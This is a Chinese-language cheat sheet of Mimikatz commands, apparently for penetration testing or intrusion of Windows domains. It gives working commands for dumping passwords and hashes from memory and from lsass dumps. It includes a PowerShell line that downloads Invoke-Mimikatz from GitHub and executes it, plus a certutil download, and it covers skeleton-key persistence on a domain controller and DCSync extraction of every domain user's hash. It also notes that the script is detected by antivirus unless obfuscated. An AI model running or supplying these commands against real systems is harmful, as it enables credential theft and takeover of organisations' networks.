0x00 常用命令

  1. 获取本机用户名、口令、sidLM hashNTLM hash
  2. privilege::debug
  3. sekurlsa::logonpasswords
  4. 通过内存文件获取口令 使用procdump导出lsass.dmp mimikatz
  5. sekurlsa::minidump lsass.dmp
  6. sekurlsa::logonPasswords full
  7. 通过powershell加载mimikatz获取口令
  8. powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
  9. 导出所有用户口令
  10. 维持域控权限
  11. 万能钥匙,可使用任意用户登陆域控
  12. privilege::debug
  13. misc::skeleton
  14. net use \\A-635ECAEE64804.TEST.LOCAL mimikatz /usertest
  15. 生成万能票据
  16. 配合ms14-068

0x01 Invoke-Mimikatz.ps1使用

1、使用certutil下载,注意github的dns经常错误,容易下载失败

certutil.exe -urlcache -split -f “https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1”

2、查看和设置powershell执行权限

Get-ExecutionPolicy  查看目前权限
Set-ExecutionPolicy -ExecutionPolicy Restricted  设置权限

#Restricted: 默认设置,不允许任何脚本运行
#AllSigned: 只能运行经过数字证书签名的脚本
#RemoteSigned: 运行本地脚本不需要数字签名,但是运行从网络上下载的脚本必须要有数字签名
#Unrestricted: 允许所有的脚本运行, 但是在运行前会提示是否进行操作
#Bypass: 允许所有的脚本运行, 没有任何的提示和警告

3、执行Mimikatz

powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ‘“privilege::debug” “sekurlsa::logonPasswords full”‘

执行结果如下,window server 2008执行成功,win10执行失败
image.png
看来是powershell版本太高了,2008的powershell版本是2.0,win10是5.1;语法有更新,不过实际环境中更多的还是低版本的powershell。但是这个脚本不做免杀随便被杀软杀
image.png

0x02 一行命令

mimikatz将结果输出到一个文本的命令

mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” > pssword.txt

image.png

0x03 导出域控用户信息

Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值。此技术避免了直接使用域控制器进行身份验证的需要,因为它可以以域管理员的权限在任何机器上运行。

lsadump::dcsync /domain:pentestlab.local /all /csv

通过使用/ user参数指定域用户名,Mimikatz可以转储此特定用户的所有帐户信息,包括其密码哈希。

lsadump::dcsync /domain:pentestlab.local /user:test